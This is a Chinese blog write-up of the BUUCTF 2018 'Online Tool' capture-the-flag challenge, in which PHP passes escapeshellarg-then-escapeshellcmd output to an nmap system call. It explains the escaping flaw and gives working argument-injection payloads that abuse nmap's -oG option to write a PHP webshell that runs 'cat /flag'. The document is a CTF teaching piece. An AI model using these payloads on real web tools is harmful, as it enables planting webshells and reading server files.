首页 > 其他分享 >[BUUCTF 2018]Online Tool 1

[BUUCTF 2018]Online Tool 1

时间:2024-03-09 11:45:04浏览次数:34  
标签:BUUCTF oG Tool host 2018 test escapeshellarg php 单引号

[BUUCTF 2018]Online Tool 1

<?php  
  
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];  
}  
  
if(!isset($_GET['host'])) {    highlight_file(__FILE__);  
} else {    $host = $_GET['host'];    $host = escapeshellarg($host);    $host = escapeshellcmd($host);    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  
    echo 'you are in sandbox '.$sandbox;  
    @mkdir($sandbox);    chdir($sandbox);  
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);  
}
?>

上来就给了源代码,可以发现使用了ip地址,但是这里没什么用
后边有escapeshellarg()escapeshellcmd()两个函数二者联用来确保不会出现任意命令执行漏洞的出现
但是这两种任意一个出现一般都没有问题,或者先来escapeshellcmd()后来escapeshellarg()应该也不会有漏洞。但是题目中的顺序会爆炸。
下面介绍二者的原理


escapeshellarg()

escapeshellarg()将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()system() 和执行运算符 。

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。

言外之意,就是看到了一个字符串,先用单引号括起来,然后对于其中已有的引号再进行反斜线转义,并用单引号括起来进行引用。

最后这一句告诉咱们Windows上边是绝对试不出来正确的结果的,要使用外界的PHP线上运行环境。
菜鸟

escapeshellcmd()

言外之意就是把字符串中的特殊字符使用反斜线转译掉


所以下边就是相应的原理

下面回到题目,可以发现体中有一个函数system来执行的我们的nmap命令,由于管道等命令全都用不了了,所以采用nmap的-oG参数来写入木马。

?host='<?php echo `cat /flag`;?> -oG hhh.php '

注意要使用单引号把payload括起来,同时后边的单引号前边必须有一个空格

<?php
$host="' <?php phpinfo();?> -oG test.php '";
echo $host."                     ";
$h = escapeshellarg($host);
echo $h."                     ";
$h = escapeshellcmd($h);
echo $h."                ";
echo "                        nmap -T5 -sT -Pn --host-timeout 2 -F ".$h;
?>
' <?php phpinfo();?> -oG test.php '                     
''\'' <?php phpinfo();?> -oG test.php '\'''                     
''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php '\\'''
//下面的这个等价于
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php '\\'''
=>
nmap -T5 -sT -Pn --host-timeout 2 -F \\ \<\?php phpinfo\(\)\;\?\> -oG test.php '\\'

可以注意到,如果后边没有空格的话,\\就会和php连在一起,这个时候无法正确解析,所以必须有空格。


最后可以得到payload如下

?host=' <?php echo `cat /flag`;?> -oG hack.php '

注意这里cat /flag两边的反引号可以让PHP自动执行系统命令。

标签:BUUCTF,oG,Tool,host,2018,test,escapeshellarg,php,单引号
From: https://www.cnblogs.com/xiaoyaotonhxue/p/18062452

相关文章

  • 【Vue】HutoolExcel导出
     最近写Excel导出功能,发现需求有点复杂,这里整理一下思路和解决方案一、需求背景:老系统改造,功能和代码是现成的,预览了一下内容:第一个是有特定样式,比如首行标题,以及红色的列名称 第二个,导出多个Sheet页 第三个,最后多一行放置导出时间 二、技术选型:我非常喜欢用Huto......
  • P4958 [COCI2017-2018#6] Mate 题解
    分析考虑DP。先考虑\(A\)的答案。定义状态函数\(f_{i,j}\)表示在子串\(S_{1\dotsi}\)中选\(j\)个,且第\(S_i\)必选的方案数。则有:\(f_{i,j}=C_{i-1}^{j-1}\)。再考虑\(B\)的答案。枚举每一个位置\(x\)。令\(sum_x=\sum\limits_{i=1}^{x-1}f_{i,n-1}[S_i=A]\)。......
  • Vue调试神器vue-devtools配置 / 解决提示 Download the Vue Devtools extension for a
    访问Vue页面,控制台提示:    ......
  • BUUCTF-EasySQL(sql注入题目)
    1、万能用户名/密码一般的,库验证登录注册查询数据会用到以下的句型,如果用户与密码匹配正确则返回真值通过验证成功登录select*fromtable_namewhereusername='×××'andpassword='×××';2、在该题目中使用,select*fromtable_namewhereusername='1'or1=1#'and......
  • hutool导出CSV文件
    hutool导出CSV文件参考代码:@PostMapping("/export")publicResponseEntity<FileSystemResource>export()throwsIOException{//写到临时目录,如果临时目录满了系统会自动清除。FiledistFile=newFile(System.getProperty("java.io.tmpdir"),"test.csv"......
  • Rust 开发的高性能 Python 包管理工具,可替换 pip、pip-tools 和 virtualenv
    最近,我在Python潮流周刊中分享了一个超级火爆的项目,这还不到一个月,它在Github上已经拿下了8Kstar的亮眼成绩,可见其受欢迎程度极高!国内还未见有更多消息,我趁着周末把一篇官方博客翻译出来了,分享给大家。作者:@charliermarsh译者:豌豆花下猫@Python猫英文:uv:Pythonpackag......
  • P5020 [NOIP2018 提高组] 货币系统
    原题链接题解等价于线性代数中求最大无关组的大小code#include<bits/stdc++.h>usingnamespacestd;intmain(){intt;cin>>t;while(t--){intn;cin>>n;inta[105]={0};for(inti=1;i<=n;i++)cin>>a[i]......
  • 【HMS Core】ToolKit,Merchant Service has not been enabled yet
    ​【问题描述】集成应用内支付时,一直提示未开通商户服务,实际商户服务已开通。​【解决方案】一般是由于AndroidStudio里的开发者账户和联盟网站对应开通商户服务的不是同一个账户造成的​PS:如果有团队帐号,还需注意,是否是团队帐号开通的,需选择正确的team。​......
  • 基础设置之——dev_open_tool
    格式:dev_open_tool(::ToolName,Row,Column,Width,Height,GenParamName,GenParamValue:ToolId)1.MainWindows类型 dev_open_tool('variable_window','default','default','default','default',[],[],Too......
  • MaterialDesignInXamlToolkit 5.0 发布
    5.0.0发布这是一个重大版本更新,又许多破坏性变化升级到5.0.0版本,请参考:https://www.cnblogs.com/sesametech-dotnet/p/18028565变化关键性变化Allowfortransparentcolorsforgeneratediconsby@Kebooin#3273AddnewoptionstotheExpanderAssistclassby@Abd......